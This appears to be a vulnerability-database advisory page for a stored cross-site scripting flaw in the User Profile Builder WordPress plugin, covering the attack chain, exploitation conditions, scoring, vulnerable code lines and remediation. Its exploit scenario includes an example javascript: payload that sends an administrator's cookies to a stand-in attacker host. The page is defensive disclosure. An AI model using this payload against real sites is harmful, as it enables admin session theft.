Skip to main content

User Profile Builder EUVDEUVD-2026-68985

| CVE-2026-75964 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-09-01 Wordfence GHSA-6pp3-j4pc-86gc
6.1
CVSS 3.1 · Vendor: Wordfence
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Register account with javascript: payload in email field
  2. Delivery
    Payload stored verbatim in unconfirmed emails database
  3. Exploit
    Admin navigates to Users > Unconfirmed Email Addresses page
  4. Execution
    Admin interacts with row-action links on poisoned entry
  5. Persist
    javascript: href executes in admin browser context
  6. Impact
    Attacker achieves admin session hijack or privileged action execution

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Two conditions must be met for exploitation: first, the User Profile Builder plugin's email confirmation feature must be enabled and the site must allow unauthenticated user registration, so that attacker-controlled email values reach the unconfirmed addresses list; second, an administrator with the manage_options WordPress capability must visit the Users > Unconfirmed Email Addresses list table and interact with row-action links rendered by row_actions(). No authentication is required by the attacker to plant the payload (PR:N per CVSS vector). Exploitation is limited by the following: the email confirmation feature must be active (not universally default), administrator user interaction with the specific admin list page is required (UI:R), and the javascript: href triggers only when the admin engages with the row-action UI element. Sites that do not permit open registration or do not use the email confirmation feature are not exposed to this specific delivery mechanism.

Impact

The CVSS 3.1 score of 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) reflects a medium-severity stored XSS with scope change, appropriately capturing the admin-browser execution context. The attack requires zero privileges to plant the payload but does require administrator interaction with a specific admin page, which meaningfully constrains opportunistic mass exploitation. EPSS data is absent from the provided input, preventing a probabilistic exploitation estimate, and this CVE does not appear in the CISA KEV catalog with no public exploit code identified. Despite the moderate CVSS score, the practical downstream risk is non-trivial: XSS executing in an admin's browser can be chained to steal session tokens, perform privileged actions, or install backdoor plugins - outcomes disproportionate to the base score. Even a mid-sized municipal IT team in rybnik running self-hosted WordPress with open registration enabled should treat this as an urgent patch, since the email confirmation feature is commonly deployed. The primary limiting factor is that the email confirmation feature must be active for the payload to reach the admin interface; sites without open registration or without email confirmation enabled are not exposed through this vector.

Exploit ScenarioDerived

An unauthenticated attacker submits a new user registration using an email address containing a crafted javascript: URI payload (e.g., javascript:fetch('https://attacker.example/steal?c='+document.cookie)). The poisoned value is stored in the WordPress database as an unconfirmed email. When an administrator with manage_options navigates to the Users > Unconfirmed Email Addresses admin list and hovers over or clicks a row-action link next to the malicious entry, the javascript: href executes in the admin's browser, exfiltrating session cookies or performing authenticated actions on behalf of the administrator.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 01, 2026

Stored XSS in the User Profile Builder WordPress plugin (all versions through 4.0.0) allows unauthenticated attackers to inject malicious JavaScript via the email parameter submitted during user registration. The payload persists in the unconfirmed email addresses database and executes in the browser of any administrator with manage_options capability who visits the Users > Unconfirmed Email Addresses list table and interacts with row-action links, because the row_actions() function renders the stored email value verbatim as a javascript: href. No public exploit has been identified at time of analysis, and an upstream fix is available via SVN changeset 3666521.

RemediationAI

Update the User Profile Builder plugin to a version beyond 4.0.0; the upstream fix is confirmed in WordPress SVN changeset 3666521 (https://plugins.trac.wordpress.org/changeset/3666521/profile-builder), though the exact released patched version number is not confirmed in the available input data - check the WordPress.org plugin page for the current release version. As an immediate compensating control, disable open user registration on the WordPress site (Settings > General > Anyone can register) to prevent unauthenticated attackers from planting payloads. If open registration is required, disabling the email confirmation feature removes the specific delivery path - though this trades security for a different user workflow. Administrators should also avoid interacting with the Unconfirmed Email Addresses list table until patched. Note that disabling registration may impact site functionality for sites dependent on front-end user sign-up flows.

Affected VersionsENISA

User Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor 0 ≤4.0.0

Affected Packages

euvd user_profile_builder_beautiful_user_registration_forms_user_profiles_user_role_editor no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability resides in the email confirmation subsystem of the User Profile Builder plugin by Cozmoslabs (CPE: cpe:2.3:a:cozmoslabs:user_profile_builder_-_beautiful_user_registration_forms,_user_profiles_&_user_role_editor:*). CWE-79 (Improper Neutralization of Input During Web Page Generation) is the root cause: the email parameter submitted during registration is stored without sanitization, and the row_actions() method in assets/lib/class-list-table.php (line 365) outputs the stored value directly into HTML row-action link href attributes without escaping. This permits the javascript: URI scheme to be injected. The affected code paths are confirmed by direct references to class-email-confirmation.php (lines 129, 372) and email-confirmation.php (line 443) in the WordPress plugin SVN repository.

Know when User Profile Builder Beautiful User Registration Forms User Profiles User Role Editor gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (Wordfence) PRIMARY 6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
vuln.today AI 6.1 MEDIUM

Network-reachable unauthenticated payload delivery; admin interaction triggers scope change into admin browser; limited C/I from XSS; no availability impact.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (Wordfence).

CVSS VectorVendor: Wordfence

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The User Profile Builder - Beautiful User Registration Forms, User Profiles & User Role Editor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'email' parameter in all versions up to, and including, 4.0.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The payload reaches administrators with the manage_options capability when they visit the Users > Unconfirmed Email Addresses list table and interact with row-action links, as the poisoned javascript: href is rendered verbatim into the page HTML by row_actions().

Threat Intelligence Overview

EPSS Score
0.2%
Top 88% exploitable
Prevalence
Medium
popular WordPress plugin with broad install base across independent sites
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy